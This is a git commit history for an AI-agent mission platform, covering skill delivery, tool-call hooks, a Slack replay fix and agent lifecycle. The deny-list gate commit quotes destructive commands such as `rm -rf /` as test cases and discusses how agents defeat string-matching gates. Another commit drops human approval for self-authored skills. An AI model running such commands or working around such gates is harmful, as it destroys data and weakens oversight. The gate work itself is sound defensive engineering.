1c9be5229141eadef2e6caa7b265c5ae1cdb9dd3
139
Commits
| Author | SHA1 | Message | Date | |
|---|---|---|---|---|
 Omar SobhandClaude Opus 5
|
f52cff3e04 |
feat(skill-use): progressive disclosure, as an arm and not a switch
Trigger — did the agent reach for the skill when it applied? — cannot be measured while every body is inlined into the prompt. Nothing was reached for. `skill_use` has been reporting `NotObservable` for that reason, and it was right to. The skills door made retrieval possible; this makes it a delivery arm. `index` sends each pinned skill's name, description, `when_to_use` and the uri that returns its body, and the agent fetches what it judges relevant. `inline` is unchanged and stays the default. An A/B rather than a switch, because `index` can only cost Compliance: under `inline` the procedure sits in front of the model whether or not it noticed it applied. Trading a measured axis for an unmeasured regression in another is not an improvement, so both arms stay runnable and the arm is recorded on the mission row. Three things the mechanism refuses to do: - `index` without a door falls back to `inline`. An index names bodies and says how to fetch them; with no `clawmates_skills` server reachable that is a list of dead ends, and it fails as an agent ignoring its skills rather than as a missing config. `install_skills_door` now returns whether it installed, because the caller needs the answer and not just the log line. - The scorer reads the arm off the recorded PROMPT, not off the mission row. The row says what the mission is configured to do now; the score is being computed against a turn that ran then. - Under `index`, a skill that was offered and never read is a Fail, not the inline arm's `NotObservable` — but only where the skill had a checkable consequence in that phase. Reusing the inline text would have said "this skill was inlined into the prompt" about a skill whose body was never sent, and scoring a real miss as a structural blind spot is the failure this measurement already made once. The arm is per mission (`config.skill_delivery`), not only per deployment. Both arms run against one server process; restarting between them would put a confound in the comparison that the numbers would not show. 829 tests, 108 binaries, green. Co-Authored-By: Claude Opus 5 (1M context) <[email protected]> |
||
|
Omar SobhandClaude Opus 5
|
b89606fcf1 |
feat(missions): gate and observe tools on the container tier
The container tier is the one that actually runs missions in production, and it had neither a tool gate nor tool telemetry. The microVM tier has had both since yesterday; the tier that matters had neither. Both gaps have one cause. `claude_cli` runs claude as a subprocess, claude runs its tools inside that subprocess, and those calls never pass through ZeroClaw's executor — the only thing that emits TurnEvent::ToolCall and therefore the only thing the gateway turns into a frame ClawMates can see. Recovering the calls from the CLI's stream-json output did not help: a real mission produced zero tool.call events with the parser working perfectly. The transport was never the problem. Hooks are the way in, and they are proven. Claude Code reads hooks.PreToolUse / PostToolUse from the document given to `--settings` and honours them under `-p` — measured yesterday against the real binary, where the gate blocked a Bash call, recorded the payload, and got its refusal reason back to the model. So the same hook scripts the microVM tier uses are now written into the mission's container, and the provider is pointed at the settings document (`--settings` added to claude_cli in the fork, be9c34b1c). Composed in ONE script for one document: two writers of one settings.json is a silent clobber, and the microVM tier already learned that expensively. Installed on BOTH container paths — created and reused. A hook that exists only on first creation quietly disappears after a server redeploy, and the container outlives the server process. Everything degrades to "no hooks", never to a failed mission: a phase that runs unobserved still delivers; one that fails to start because telemetry could not be installed delivers nothing. Four tests, including two that exist because the halves are inert alone: the installer and the provider prop must both be wired (hooks nobody reads, or a document nobody wrote), and nothing may be written under /mission/repo, where it would arrive as part of the agent's delivered diff. Full workspace suite green: 107 binaries. Co-Authored-By: Claude Opus 5 <[email protected]> |
||
|
Omar SobhandClaude Opus 5
|
547b5d9987 |
feat(missions): a pre-execution gate on mission tool calls
The second half of the tool-call research. Until now a mission agent's
Bash call was gated by nothing, anywhere.
WHY THERE WAS NO GATE
vm_tool_tap is a PostToolUse hook: it fires after the tool has already run
and exit-0s unconditionally, because a non-zero PostToolUse talks back to
the model. It is telemetry and says so. GatePolicy — the §15 door — has one
enforcement site, the chat loop, and its approvals key on
(session_id, message_id), which no mission phase can produce. Meanwhile the
solo tiers run `claude -p --permission-mode acceptEdits` with Read, Edit,
Write and Bash pre-approved.
PreToolUse fires under `claude -p` in this image — measured by vm_stop_gate,
which also proved the exit-2-plus-stderr contract — and had zero callers.
This is that hook.
WHAT IT IS, AND IS NOT
A deterministic policy gate: a short deny list of actions with no legitimate
form inside a mission, blocked before they run, with the reason handed back
so the model can choose differently.
It is NOT the §15 human approval gate, and the module says so. A hook blocks
the agent's process while it runs and a human decision takes minutes to
hours; waiting inside the hook would wedge the turn. This closes the gap
between nothing and something.
The deny list is short on purpose. A gate that blocks legitimate work is
worse than none: the agent cannot ask a human, so it either works around the
block — doing something stranger than what was denied — or burns the turn.
FOUR BUGS THE TESTS FOUND, IN ORDER
1. Substring matching denied `grep -rn 'rm -rf /' docs/`. Searching for a
string is not running it. Now rules anchor to the start of a shell
segment, with a separate flag-style match that exempts text tools.
2. The `case` patterns were unquoted, so a needle containing a space made
the whole script a SYNTAX ERROR — which as a PreToolUse hook exits
non-zero and denies EVERY call. Every text assertion passed while the
script was in that state; only running it under a real `sh` found it.
3. The hook receives JSON, not a command, so "starts with" could never
match — `case` saw `{"tool_name":"bash",...` every time. Now extracts
tool_name and tool_input.command with `node` (no jq in the image; node is
guaranteed because Claude Code is a node program).
4. `IFS='\n'` in POSIX sh sets IFS to backslash and the letter n, not a
newline. Nothing split, so only commands with no separator were ever
tested and `cd /tmp && rm -rf /` sailed through. Now a literal newline.
Every failure path allows. A gate that fails closed on a parse error blocks
the whole phase, which is exactly what bug 2 did.
Wired through vm_tool_tap::guest_settings, still the single writer of the
guest settings document — a third hook makes the clobber it prevents more
likely, not less, and a test asserts all three survive one document and that
PreToolUse points at the gate's own script rather than the tap's.
Honest limit, stated in the module: a determined agent defeats any
string-matching gate. This is aimed at accidents and obvious cases; the real
isolation is the container and microVM boundary.
Full workspace suite green: 106 binaries, zero build errors.
Co-Authored-By: Claude Opus 5 <[email protected]>
|
||
|
Omar SobhandClaude Opus 5
|
113de610ec |
fix(security): a signed Slack request could be replayed forever
Phase 5. The headline is not the coverage work — it is what looking for coverage found. A CAPTURED SLACK REQUEST AUTHENTICATED INDEFINITELY `slack_signature_valid` verified the HMAC correctly, and nothing anywhere checked how old the timestamp was. The timestamp is an input to the basestring, so an old request's signature verifies exactly as well as a fresh one — meaning anyone holding a single captured signed request (a proxy log, a mirrored packet, a leaked webhook body) could replay it forever, and every replay would authenticate. Slack's documented 5-minute window is now enforced IN THE BROKER, not the caller: the broker does not trust its caller (§15), and a check the caller can forget to make is one that will eventually be forgotten. Symmetric, so a far-future timestamp cannot mint a request valid for as long as the attacker chooses. Seven unit tests over the pure function with the clock injected, and the HTTP-level test now asserts an hour-old but validly signed request is refused. Negative control: removing the window fails the stale and future cases specifically. The existing slack_inbound test used the literal timestamp "12345" — a 1970 date — which passed only because nothing checked freshness. That is the shape of the whole finding: the fixture could not have failed, so it never told us anything. COVERAGE, RE-EXAMINED The review ranked crates by raw test count. That metric was misleading and found the wrong crates: cm-safety's seven tests already cover the decide CAS, grant double-consume, expiry and the approved/rejected split, and the audit_log immutability trigger is tested over in cm-db. Reading the API surface against the tests found the real gaps — verify_slack_signature above, and `credits_for_tokens`, pure pricing arithmetic that every existing billing test went through the database to reach without ever checking directly. Now pinned: the round-up contract, the deliberate one-credit floor, and that an absurd token count cannot wrap into a negative charge (a refund granted by an overflow). Still genuinely thin: cm-brain, where 6 of 9 tests need live clawbrainhub.com. Stubbing it means reproducing an external registry protocol we have no spec for — its own piece of work, not a coverage chore. Recorded rather than faked. GATEWAY PREFLIGHT ZEROCLAW_GATEWAY_URL and ZEROCLAW_TOKEN have no defaults and are read at FIRST USE, so a deployment missing them boots clean, serves every page, and fails the first time someone presses run. Third sibling of runtime_preflight and validator_preflight, same stance: a report, not a gate. The message names the consequence — "container-tier missions cannot run" — rather than only the unset variable. One process note: `cargo test -p cm-secrets` passed while the LIBRARY build was broken, because `time` is a dev-dependency there and my reference to it only resolved under cfg(test). Switched to std. Checking `cargo build --workspace` as well as the test profile is the guard. Full workspace suite green: 106 binaries, zero build errors. Co-Authored-By: Claude Opus 5 <[email protected]> |
||
|
Omar SobhandClaude Opus 5
|
91a6b4e304 |
feat(skills): the first Skill-Use measurement, and the three defects it found
Scored on the paper's three axes against two real missions on the local
stack. docs/SKILL-USE-BASELINE.md has the numbers, the method, and the
limits.
Trigger is reported as NOT OBSERVABLE, never zero
The paper measures progressive disclosure: the agent sees a name and
description and must retrieve the body, and that retrieval is the Trigger
event. We inline full bodies, because mission claws run on claude_cli which
cannot surface a tool call — there is nothing to retrieve with. So the
agent never reaches for a skill, it simply holds one.
Scoring that zero would report a delivery-model property as an agent
failure, which is the same confusion that kept 55 empty bindings invisible
for months. The verdict type carries NotObservable(reason) as a distinct
case from Fail for exactly this.
Compliance is checked by running the REAL task_card_parser rather than a
copy of its rules — a second implementation would drift, and then the score
would pass while the mission loop still stalled. Skills without a
machine-checkable consequence score not_applicable rather than a guess.
WHAT THE MEASUREMENT FOUND
1. The prompt format made its own record unparseable. Skills were
introduced with `## <name>` and skill bodies are markdown full of `##`
headings, so run 1 scored "Sizing heuristic" and "The output shape" —
subheadings inside decompose-int-items — as skills with no catalogue
row. Now an unambiguous `--- SKILL: <name> ---` marker, with both
writers sharing one renderer so the reader cannot drift from the writer.
2. A prompt was recorded that was never sent. My own Phase 1 work recorded
the phase prompt at the dispatch fork, before the tier was chosen — and
the container tier does not send that text, it sends the bare task and
appends skills per turn. Every container mission logged a `solo` prompt
that reached no agent. A provenance record of something that did not
happen is worse than no record: it is the wrong answer, delivered
confidently. Recording now happens inside each tier, with a test that
every launcher records the prompt it actually sends.
3. int-xx-marker-protocol documents a marker the platform never
implemented. PLAN_COMPLETE is in the skill's ladder and task_card_parser
has no such kind and never has, so an agent following the skill exactly
emits a marker that is silently ignored. Observed live: run 2's planner
emitted `PLAN_COMPLETE: INT-01..02`, which is also the range form — on
the kinds that ARE parsed that yields the id `INT-01..02`, a task card
for an item that does not exist while the two real items stay open.
This is a skill/implementation mismatch, not an agent failure, and it is
exactly what the measurement exists to find: the agent did what it was
told and what it was told was wrong. Both shapes now score as failures.
The reconciliation — implement PLAN_COMPLETE or drop it from the skill —
is left as a decision rather than guessed at.
The boot log now shows what the plan asked for: 53 skills, 11 templates,
every one `N role skills bound` with NO unresolved clause. Live missions
confirm per-role delivery — the planner receives decompose-int-items, the
coder receives write-rust-current-edition.
GET /api/missions/{id}/skill-use exposes the scores, and says in its
payload whether an empty result means "nothing delivered" or "the evidence
was reaped" — those have very different causes and must not look the same.
n = 2. No spread is reported because two runs cannot establish one, and the
document says so rather than letting the number be quoted as a baseline it
is not.
Full workspace suite green: 106 binaries.
Co-Authored-By: Claude Opus 5 <[email protected]>
|
||
|
Omar SobhandClaude Opus 5
|
769e002bb3 |
feat(skills): deliver on every tier, record what agents receive, let them self-author
Three phases of the approved plan, plus a correction to what the last one
claimed.
CORRECTION: skills reached ONE tier, not all of them
The previous commit said "skills can now reach a mission agent". That was
true only for the container/ZeroClaw tier — the fall-through that queues a
topology_runs row for topology_worker, which drives the executor that was
patched. compose_turn_prompt/pinned_skills_text had exactly one production
caller, and phase_runner's three other paths (composed microVM, solo
microVM, direct session) never called it. CAPABILITY-REVIEW.md said the
broad thing too; both are corrected.
Those three tiers share one task string and have no per-turn alias, so
their skills resolve per PHASE from the mission's crew and are appended
there. The container tier deliberately still injects per turn, with the
running node's own role — appending in both places would put every crew
member's skills in every turn twice.
The behavioural tests prove phase_skills_text and compose_turn_prompt work.
They cannot prove the three launch_* calls pass the composed string, and
that substitution is a one-word edit that would silently return all three
tiers to delivering nothing with every test still green. So there is also a
source-level assertion on the call sites, following the precedent in
mission_events::the_cap_is_enforced_in_one_statement. Its negative control
names the exact tier.
PROVENANCE: what an agent received, and what it said it did
Both were unanswerable. The prompt was never stored anywhere on any tier —
re-deriving it later re-runs the skill lookup against a catalogue that has
since changed, and once agents author their own skills it certainly will
have. The reasoning rows were durably write-only: pushed live once, then
never read from the database again by anything except the GC that deletes
them.
- prompt.composed records the exact bytes, on all four tiers
- the session tier writes its checkpoint record and a reasoning row,
instead of eprintln! and nothing — the same defect the solo microVM
path was fixed for, in the last tier that still had it
- narrative_for_mission reads both back
Found while doing it: the 400-event per-phase cap counted EVERY kind, so a
busy phase could push out its own phase.completed and its own provenance.
The cap now counts only the two unbounded kinds it was written for.
Negative control confirms the old behaviour dropped the prompt.
Retention is now a per-mission hold (0080) rather than a raised global —
with a test asserting unheld missions are still reaped, because an
exemption that applies to everything is not an exemption.
SELF-AUTHORING: agents apply their own skill drafts, no human click
By operator decision. level_up has generated complete drafts from a model
since it shipped; only a checkbox stood between propose and apply.
What replaces the gate is not another gate but four properties, each held
by a test:
- workspace-scoped, so a hand-authored skill can never be modified
- a draft cannot take a hand-authored skill's name. Ids are scoped and
bindings resolve by skill_id, so it could not overwrite or shadow one
anyway — but two procedures under one name means nobody reading a
transcript can tell which the agent followed, and that ambiguity is
fatal in a system where the skill is the standard being graded against
- every revision appends a skill_versions row, so it can be reverted and
a past run can be read against the text it was actually judged under
- approved_by = NULL. An agent's decision is never attributed to a person
who did not make it
Only skill_candidate applies autonomously. identity_refinement and
brain_consolidation still wait for a human: they change what an agent IS
rather than adding a procedure it can consult. State is announced at boot,
because a safety gate that changes silently is one nobody notices changed.
CLAWMATES_SKILL_SELF_AUTHORING=0 restores it.
Also: the test Postgres ran out of /dev/shm mid-suite (Docker's 64MB
default) and surfaced it during MIGRATIONS, which reads like a schema fault
and is not one. --shm-size=1g, and a pointer to the `clean` subcommand that
already existed for the 779 leaked test databases.
Full workspace suite green: 106 binaries, no failures.
Co-Authored-By: Claude Opus 5 <[email protected]>
|
||
|
Omar SobhandClaude Opus 5
|
e4942ce985 |
fix(missions): skills can now reach a mission agent at all
Repairing the 55 broken skill bindings made the catalogue correct. This
makes it reachable, which it was not — for any skill, on any mission, since
the catalogue was built.
The skills had exactly ONE delivery channel: the `clawmates_skills` MCP
server. A mission claw could not reach it for three independent reasons:
1. `provision_claw` wrote the constant `["clawmates_door"]` and ignored
the template's mcp_bundles — which mission_orchestrator had already
resolved and stored on the team row.
2. The runtime config defines no `clawmates_skills` bundle. The live
local config defines no bundles at all, not even the door.
3. Mission claws run on `claude_cli`, which the runtime's own config
comments document as text-only: it cannot surface a tool call, so no
MCP server is reachable from a mission turn regardless of bundles.
And a mission turn's whole system context is two sentences synthesised from
the role slot in topology_exec::build_prompt. The template's role prose is
not used either — mission_orchestrator documents this, and it means the
role prompts describing which procedures to follow were never read.
Two doc comments in cm-runtime describe the mission path as already having
the summary-and-fetch contract. It never did. The belief was written down
twice and checked zero times, which is why nobody looked — and it is why
the Skill-Use measurement this review planned could only ever have returned
a trigger rate of zero. That would have read as a finding about the agents.
- provision_claw takes the bundles, with clawmates_door always added: a
template that forgets to list it must not get an ungated agent
- all 11 templates now request clawmates_skills; web_fetch removed, since
a list that is honoured must not name a bundle that does not exist
- the re-provision sweep re-asserts the team's own stored bundles rather
than a constant, which would have silently stripped a capability
mid-mission
- pinned skill BODIES are injected into the mission prompt, bounded and
with truncation stated. Bodies, not an index: there is no `skills.read`
tool on this path, so an index would advertise a capability that does
not exist — the exact failure this whole change is about
Three tests: the body reaches the prompt, an agent with no skills adds no
heading (an empty "Your skills" section announces skills the agent does not
have), and the composition is exercised separately from the lookup, because
`pinned_skills_text` working and `run_turn` calling it are different claims
and the second is the one that was false.
Also adds the three review documents: CAPABILITY-REVIEW (inventory, what
was repaired, what is deferred and why), PROVENANCE-ASSESSMENT (assess
only, per decision — what each store answers and the two candidate paths),
and RESEARCH-SWEEP (the fortnight's papers and what we did about each,
including the ones we deliberately did nothing about).
Full workspace suite green.
Co-Authored-By: Claude Opus 5 <[email protected]>
|
||
|
Omar SobhandClaude Opus 5
|
fe45f72f09 |
feat(podcast): a PODCAST tier, a topics field, and a feed a phone can actually reach
Three gaps between "the pipeline works" and "you can use it".
**1. Topics could not be set.** The wizard never sent `config.topics`, so every
mission created through the UI silently fell back to
`library::default_topics()` — a hardcoded list that is somebody else's research
interests. The card now takes one arXiv search per line, and the description
field says plainly that for this template it IS the brief the agents judge
relevance against.
**2. There was nowhere to see or subscribe.** New PODCAST tier in the left rail,
between AGENT and REPOS: the feed URL with a copy button, the episode list, and
an inline player for checking one at a desk. `GET /api/podcast/episodes` and
`/subscription` back it. The panel also reports how many missions produced no
audio, so a missing day reads as a known gap rather than silence.
**3. The feed 404'd for the only client that will ever request it.** Three
layers each assumed a browser:
- `resolveBearer` is server-only (`next/headers`), so a client component that
imported it broke the build outright. The panel now goes through the
same-origin proxy like every other panel, and the backend mints the feed URL
because the session lives in an httpOnly cookie JavaScript cannot read.
- The `/api` proxy demanded a session COOKIE. A podcast app has none and
carries `?token=` instead — the same shape as the existing `hooks/` prefix,
which is already exempt for exactly this reason.
- The local autologin middleware 307'd it to `/auth/autologin`. A podcast app
follows redirects blindly and would have stored an HTML page as the episode.
Neither exemption weakens auth: the backend still validates the token and
answers 401 to a bad one, verified. `episode_audio` accepts the token from
either the query string or an Authorization header, because the app fetches it
one way and the browser player the other, and refusing either breaks one of the
two ways this is listened to.
`CLAWMATES_PUBLIC_URL` matters and was wrong first: the tailnet root proxies to
a different service on :18789, and this frontend is on :8443. A feed advertising
an unreachable origin syncs silently forever, so `/subscription` returns a
`reachable` flag and the panel warns when it is still localhost.
Verified from a phone's point of view: feed 200 application/rss+xml over the
tailnet, enclosure 200 with 6,739,582 bytes of audio at 421s, bad token 401.
367 tests pass.
Co-Authored-By: Claude Opus 5 <[email protected]>
|
||
|
Omar SobhandClaude Opus 5
|
1f39f642a3 |
feat(podcast): render finished missions into episodes, and serve them as a feed
The renderer existed but nothing called it. This wires it to the missions and puts the result somewhere a phone can reach. **A sweep, not a phase step.** Rendering is not the agents' work and must not be able to fail a phase that succeeded; a transient API error simply retries next tick, and a mission already rendered is skipped because its episode row exists. `podcast_episodes` is that record — without it the sweep would re-render on every pass and re-bill for it, the same lesson `corpus_items` taught for papers. **It is racing a reaper.** script.md lives in the mission checkout, and `mission_runtime`'s sweeper deletes that tree 30 minutes after the mission reaches a terminal state. So the sweep runs every 2 minutes, leaving ~15 attempts inside the window. When it does lose — as it did for three missions that had completed hours before this shipped — it now SAYS so and records a marker rather than skipping in silence, which is how a feed ends up quietly missing a day. The feed filters those markers out: a zero-byte enclosure shows a broken episode in a podcast app, where showing nothing is honest. **Duration is read from the audio, not estimated from the script.** The feed advertises a length and that length should be the real one — and it is the check that catches a 6 MB file playing for six seconds. **The feed authenticates by query-string token**, because no podcast app can set headers. That is a real trade: the token lands in the app's database and any proxy log. It reuses `AuthService::authenticate`, so revoking the session revokes the feed with it rather than creating a second secret to forget to rotate. Titles are XML-escaped — one raw ampersand makes a client reject the WHOLE feed, not one episode. 363 tests pass. Co-Authored-By: Claude Opus 5 <[email protected]> |
||
|
Omar SobhandClaude Opus 5
|
656662850d |
feat(podcast): render the episode from the agents' own script
GenFM is unreachable. `GET /v1/studio/projects` and `POST /v1/studio/podcasts` both return 403 — "Access to the Studio API requires your account to be explicitly whitelisted to use it. Please contact our sales team." Measured with two different keys on the account, so it is an account restriction, not a key scope. Plain text-to-speech on the same key returns a valid MP3. That suits the operator's choice better than GenFM would have. GenFM always runs its own LLM over the source, so the agents' script would have been REWRITTEN; rendering each line ourselves speaks it verbatim. The agents did the reading and the judging, and the episode says what they wrote. `AudioBackend` is a trait because every candidate has a different shape: NotebookLM documents no programmatic retrieval at all, GenFM needs a sales conversation, Gemini TTS is a third form. The renderer hands over a `Script` and gets bytes. `parse_script` is a parser rather than a `read_to_string` because structure must not be spoken: headings, rules and block quotes are skipped, a wrapped paragraph stays ONE turn (splitting per line would stutter at the seam), and a colon mid sentence does not start a new speaker — "The finding: recall dropped" would otherwise be truncated to everything after the colon. Voices are assigned by order of appearance, so a script using names instead of HOST/GUEST still alternates, and an unexpected third speaker falls back rather than failing. `from_env` returns None without a key, so a deployment with none produces no audio instead of failing a mission that otherwise succeeded. Proven end to end on the real script this morning's mission wrote: 25 turns, 887 words, 5,614 billable characters, 6.1 MB of MP3 in 33 seconds. The live test drives `parse_script` + `ElevenLabs::render` — the production path — and is `#[ignore]`d because it spends credits. 359 tests pass. Co-Authored-By: Claude Opus 5 <[email protected]> |
||
|
Omar SobhandClaude Opus 5
|
e20b321055 |
feat(missions): Continuous Research is a mission type, not just a team checkbox
`templates/teams/continuous_research.toml` has existed with three well-written roles since it was authored, but no workflow recipe pointed at it — every recipe in templates/workflows/ defaults `default_team_template = "rust_sdlc"`. So the only way to reach it was as a checkbox under Advanced. It is now a Step-1 card: the registry loads it at boot and `GET /api/workflows` serves it, with no frontend change (MissionWizard renders whatever the endpoint returns). Both phases are kind `research`, deliberately, rather than new `read`/`script` kinds. An unrecognised kind falls through `purposes_for`'s `_ => ["mission"]` and is absent from `PRODUCING_KINDS`, so it would get the generic directive AND be exempt from the empty-delivery rule — a phase that produces nothing and still passes. That is the shape this codebase keeps paying for; two `research` phases differentiated by `task` keep both guards. `commit_policy = "always"`, not `on_green_tests`: the vault is prose with no suite, so a test gate would find nothing to run and land every branch `-wip`. The harvest is NOT an agent phase. `continuous_research.rs` calls the existing `library::run_to_vault` — arXiv search, seen-set check, PDF shelf, vault note, attributed by `mission_id` — because that path is deterministic, takes seconds, and owns the `corpus_items` seen-set that is the whole reason a recurring mission knows what it already covered. An agent redoing it would be slower and would lose that. The manifest path is not invented either: the team template has told `signal_harvester` to write `ContinuousResearch/<date>/harvest.jsonl` all along. This makes the code produce what the prompt already promised, and a test pins the path and every documented key so the two cannot drift into an agent reading a file nothing writes. DEFAULT_CORPUS / DEFAULT_VAULT_URL exported rather than duplicated, so the route and the launch hook cannot disagree about which vault. 344 tests pass. Co-Authored-By: Claude Opus 5 <[email protected]> |
||
|
Omar SobhandClaude Opus 5
|
f87853ecf9 |
fix(missions): scheduled missions never fired — nothing read missions.schedule
The wizard has collected a cron since `0047_missions.sql` ("schedule JSONB
carries the trigger config (cron | one_shot | on_event)"), the frontend posts
`{kind:"cron", cron}`, and the API persists it faithfully. Nothing has ever read
it back: the only due-work enumerator in the codebase was `routines::claim_due`.
So every scheduled mission ever created sat in `draft` forever while the UI
reported it was on a schedule.
Proven before fixing, on the shipped build: a mission with `* * * * *` sat in
`draft` for 4m34s and started ZERO topology runs. After this change the same
mission launched on its next occurrence and recorded one `fired` row.
Two pieces were missing, and they are the two `routines` already had:
- `missions.next_run_at` — schedule STATE. `schedule` is user intent and stays
untouched; without somewhere to record which occurrence is owed there is
nothing to put a `<= now()` predicate on, which is why no enumerator could
be written against the JSONB alone.
- `mission_fires` — one row per (mission, occurrence). 0063_routine_fires.sql
called this exact case: "For a scheduled *mission* it costs a container, a
repo checkout, and real money — which is why this lands before mission
scheduling does."
`mission_schedule.rs` deliberately mirrors `cm-scheduler`'s shape rather than
inventing a second one: atomic `FOR UPDATE SKIP LOCKED` claim, reschedule
BEFORE dispatch so a failing launch cannot stall the clock, claim the slot
before launching so a crash mid-launch is retried rather than dropped, and a
fan-out cap. The cap is 5, not the scheduler's 25, because a mission firing is
a container and a checkout where a routine firing may be one turn.
The claim skips `status = 'running'`: a daily cron on a mission that takes
longer than a day must skip the occurrence, not stack a second crew on the same
workspace. Launch goes through `mission_orchestrator::on_launch` +
`missions::set_status`, the same path as the draft→running transition, so one
code path mints a crew. An unattended launch acts as the workspace owner
(`users::owner_of_workspace`) since missions carry no creator column; a
workspace without one settles the occurrence `failed` with the reason rather
than dropping it silently.
Backfill blast radius was MEASURED, not assumed: prod has zero missions with a
cron, this workstation had exactly one — the control created to prove the bug.
Co-Authored-By: Claude Opus 5 <[email protected]>
|
||
|
Omar SobhandClaude Opus 5
|
43436d7181 |
feat(telemetry): push bus for live agent frames
/api/world/live is a 2s database poll, which is right for queryable state and wrong for a token stream: reasoning only became visible after a step finished and its row was written. This adds a process-wide broadcast bus that topology_exec publishes to as the runtime's WebSocket delivers frames, and the SSE handler forwards without waiting for the next tick. Measured: the pushed frame arrived ~2.2s before the polled copy of the same text. Design notes worth keeping: - A global (OnceLock), not an AppState field. The publisher is reached through phase_runner -> topology_worker -> MissionTap, none of which hold AppState; threading a handle through all of them would put a UI concern into four layers that have no other reason to know about one. - Lossy by design. A slow subscriber lags and skips rather than applying backpressure to the agent producing. mission_events remains the durable record; this bus is the fast path, never the source of truth. - Only `claw_<uuid>` aliases are attributed. The governor, door and evaluator drive real turns under other names, and attributing their output to an agent would put words in someone's mouth. Asserted in a test. - The poll no longer emits `reasoning`: with both paths live, every turn arrived TWICE — once pushed, once polled ~2s later. The row is still written; this feed just is not its second mouth. CEILING, measured rather than assumed: turns are not token-level because the runtime is not streaming. zeroclaw's claude_cli provider runs `claude -p --output-format json`, which returns ONE result object when the turn completes — there are no incremental tokens to forward. Making this genuinely token-by-token needs `--output-format stream-json` and incremental parsing in the zeroclaw fork, not here. The bus is in place and will carry them the day it does. Co-Authored-By: Claude Opus 5 <[email protected]> |
||
|
Omar SobhandClaude Opus 5
|
b290025fc4 |
feat(agents): make delete permanent, and expose the census
A soft delete marked the row and left it. The agent stayed in the table forever,
kept appearing on any surface that forgot `deleted_at IS NULL`, and deleting it
again did nothing — the decision was recorded and never honoured. Two agents on
this deployment had been in that state since June.
`deleted` is now a fifth lifecycle state, collected with NO grace window: a
human already decided, months ago. It takes usage_events with it, which is the
explicit trade — the alternative is rows that outlive the decision to delete
them.
Two endpoints, because this was previously only answerable by reading the
database by hand:
GET /api/claws/lifecycle the census: who is active, completed,
orphaned, deleted — and what is reapable
POST /api/claws/lifecycle/sweep run the reap now, rather than waiting out
the hourly timer for a decision already made
Verified end to end: census reported both as `deleted`/`reapable`, the sweep
returned {"reaped":2,"failed":0}, and agents and usage_events both went to 0.
The safety property is unchanged and re-asserted by a new test: adding `deleted`
did not make `owned` or `active` reapable.
Co-Authored-By: Claude Opus 5 <[email protected]>
|
||
|
Omar SobhandClaude Opus 5
|
a494634f81 |
feat(agents): classify agents by lifecycle and reap the finished and orphaned
A mission mints a crew, and the only thing that reaped one was DELETING the mission. A mission that merely completed left its agents in the roster forever, and a crew whose reap was skipped or failed left agents bound to nothing — indistinguishable in the UI from the operator's own staff. Four states, from one query: owned no agent_template_link row → hand-created. NEVER reaped. active on a running/draft mission → working right now. Kept. completed every mission terminal → reaped after a 24h grace. orphaned minted, bound to nothing → reaped. The discriminator is `agent_template_link`, which mission_orchestrator writes per minted claw. This matters more than it looks: verified on live data, a hand-created agent and an orphaned crew member both have ZERO team links and are structurally identical by binding alone. Judging orphanhood by "no team" would delete the user's workforce. Provenance is the only honest signal. The grace window exists because the results view, the World's 24h replay and "who did this work?" all read the crew AFTER the run ends; reaping on the terminal transition deletes the answer exactly when the question gets asked. A completed crew with no usable timestamp is KEPT — a missing date must never read as "old enough to delete". Also fixes the delete summary, which reported how many claws were FOUND rather than purged: "reaped 4 claw(s)" was printed by a delete that purged none, which is precisely the log you would read while wondering why the agents are still there. It now reports purged / kept / FAILED, and failed > 0 is the orphan case. Verified against live data — all four states observed, including the two that look alike. Co-Authored-By: Claude Opus 5 <[email protected]> |
||
|
Omar SobhandClaude Opus 5
|
9e61e3ba35 |
feat(viz): what the agents actually did, as structured events
The World could draw a mission's shape but nothing about the work. The
detail existed only as prose in checkpoint.log and model output, where a
tool name is indistinguishable from an agent *talking about* a tool — so
it was never parsed, deliberately. `mission_events` is the structured
channel that replaces it.
Three taps, one table:
- Container tier: the `_ => {}` at the end of topology_exec's typed frame
stream now matches `tool_call` and reads the tool's JSON ARGUMENTS for a
path. Never the prose summary — a path scraped from a sentence would put
files on the map that no agent opened, and the test proves a Grep whose
summary says "src/main.rs" produces no file touch. The frame name itself
is unverified, so the same commit ships an unmatched-frame-type
histogram: a tap that matches nothing looks exactly like a mission that
used no tools, and this is how one gw-04 run names the real frame.
- microVM tier: a `PostToolUse` hook, the seam vm_stop_gate already proved
fires under `claude -p`. It copies stdin to /root/tap and exits 0
unconditionally — a non-zero PostToolUse hook talks back to the model,
which would turn the observer into a participant. Drained before collect,
since the VM is destroyed moments later.
- Phase transitions: five identical copies of the pending→running UPDATE
became one `mark_phase_running`, and `close_finished_phases` grew
RETURNING. Its CASE decides each phase's status inside SQL from rows the
statement does not change, so it cannot be re-derived afterwards without
writing that CASE twice — without RETURNING it emits zero phase.completed
and reports success.
The settings.json hazard the plan called out: the stop gate wrote the
WHOLE document, so a second hook writer would have silently erased it and
a coding phase would then complete having written nothing — the exact
failure the gate exists to catch. There is now one composer,
`vm_tool_tap::guest_settings`, one writer, and a source-walk test that
fails if anything else writes a settings document.
`mission_events.run_id` carries no FK on purpose: phase_runner DELETEs
topology_runs on retry, and a cascade would erase a phase's whole history
the moment it retried — silently, since a cascade is not an error.
world.rs streams it with a cursor that separates backfill from motion.
Everything already in the table when a subscriber arrives is drawn as
settled history; only what lands afterwards animates. Otherwise opening a
finished mission replays an hour of tool calls as a burst storm.
Bounded twice: 400 events per phase (enforced inside the INSERT, since
two concurrent taps would each read a count below the cap) and a 7-day
retention sweep in mission_gc.
Co-Authored-By: Claude Opus 5 <[email protected]>
|
||
|
Omar SobhandClaude Opus 5
|
0ad53da49c |
feat(workforce): missions group the roster, and agents get human names
Three things, all visible on the agents page.
**The roster looked like it was multiplying.** The sidebar flattened
orgs → companies → teams → agents, which renders a claw once per TEAM it
belongs to. Claws are reused across missions now, so a crew of five that had
run five missions appeared as twenty-five rows of the same five people. The
data was right and the view was lying. `GET /api/workforce` returns the roster
grouped by mission, and the tree renders each mission as a collapsible group,
so the repetition means something: the same colleague under each mission they
staffed. Claws on no mission come back under "Not on a mission" rather than
vanishing. The root now counts DISTINCT people, not rows.
**Agents were named after their jobs.** A team came back as planner, coder,
tester, reviewer, committer — the UI showed the same word twice (name on top,
role beneath) and the roster read as a stack of job tickets. New claws get a
given name from a deliberately wide pool (Amara, Vijay, Tomasz, Meredith…),
unique against the workspace roster AND within the team being minted. The role
is untouched in `job_title`, which is what the mission machinery binds on:
team_members.role_slot and the topology node carry the slot, so nothing
downstream keys off the display name. A reused claw keeps the name it had.
**Two latent reap bugs found while investigating a leak that was not one.**
